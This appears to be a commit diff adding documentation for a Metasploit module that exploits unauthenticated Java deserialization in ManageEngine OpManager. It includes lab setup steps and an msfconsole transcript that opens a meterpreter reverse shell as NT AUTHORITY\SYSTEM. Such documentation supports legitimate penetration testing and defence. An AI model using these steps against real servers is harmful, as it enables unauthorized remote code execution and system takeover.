|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +### Description |
| 4 | + |
| 5 | +An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an |
| 6 | +arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of |
| 7 | +the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other |
| 8 | +products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - |
| 9 | +12.5.232. |
| 10 | + |
| 11 | +### Setup (Windows) |
| 12 | + |
| 13 | +1. Download an affected version for either Windows or Linux from the [archive][0] |
| 14 | +1. Run the installer executable |
| 15 | +1. Accept the default values for all settings (skip registration), until the very end when prompted to start the |
| 16 | + application |
| 17 | +1. Unselect the option to start the application |
| 18 | + 1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the |
| 19 | + option to stop it |
| 20 | +1. Start a command prompt as an administrative user |
| 21 | +1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin` |
| 22 | +1. Run `run.bat` |
| 23 | +1. View and accept the license terms |
| 24 | +1. Press `f` to run the product in Free mode |
| 25 | + |
| 26 | +OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the |
| 27 | +session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and |
| 28 | +OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT |
| 29 | +AUTHORITY\SYSTEM. |
| 30 | + |
| 31 | +### Setup (Linux) |
| 32 | + |
| 33 | +1. Download an affected version for either Windows or Linux from the [archive][0] |
| 34 | +1. Run the installer executable as root |
| 35 | +1. Accept the default values for all settings (skip registration) |
| 36 | +1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin` |
| 37 | +1. Run `run.sh` as root |
| 38 | + |
| 39 | +## Verification Steps |
| 40 | + |
| 41 | +1. Install the application |
| 42 | +1. Start msfconsole |
| 43 | +1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization` |
| 44 | +1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary |
| 45 | +1. Do: `run` |
| 46 | +1. You should get a shell. |
| 47 | + |
| 48 | +## Options |
| 49 | + |
| 50 | +## Scenarios |
| 51 | + |
| 52 | +### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174 |
| 53 | + |
| 54 | +``` |
| 55 | +msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization |
| 56 | +[*] Using configured payload cmd/windows/powershell_reverse_tcp |
| 57 | +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10 |
| 58 | +RHOSTS => 192.168.159.10 |
| 59 | +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell |
| 60 | +TARGET => Windows PowerShell |
| 61 | +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp |
| 62 | +PAYLOAD => windows/x64/meterpreter/reverse_tcp |
| 63 | +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 |
| 64 | +LHOST => 192.168.159.128 |
| 65 | +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check |
| 66 | +[*] 192.168.159.10:8060 - The target appears to be vulnerable. |
| 67 | +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit |
| 68 | +
|
| 69 | +[*] Started reverse TCP handler on 192.168.159.128:4444 |
| 70 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 71 | +[+] The target appears to be vulnerable. |
| 72 | +[*] An HTTP session cookie has been issued |
| 73 | +[*] The request handler has been associated with the HTTP session |
| 74 | +[*] Sending stage (200262 bytes) to 192.168.159.10 |
| 75 | +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400 |
| 76 | +
|
| 77 | +meterpreter > getuid |
| 78 | +Server username: NT AUTHORITY\SYSTEM |
| 79 | +meterpreter > sysinfo |
| 80 | +Computer : WIN-3MSP8K2LCGC |
| 81 | +OS : Windows 2016+ (10.0 Build 17763). |
| 82 | +Architecture : x64 |
| 83 | +System Language : en_US |
| 84 | +Domain : MSFLAB |
| 85 | +Logged On Users : 7 |
| 86 | +Meterpreter : x64/windows |
| 87 | +meterpreter > |
| 88 | +``` |
| 89 | + |
| 90 | +[0]: https://archives.manageengine.com/opmanager/ |
0 commit comments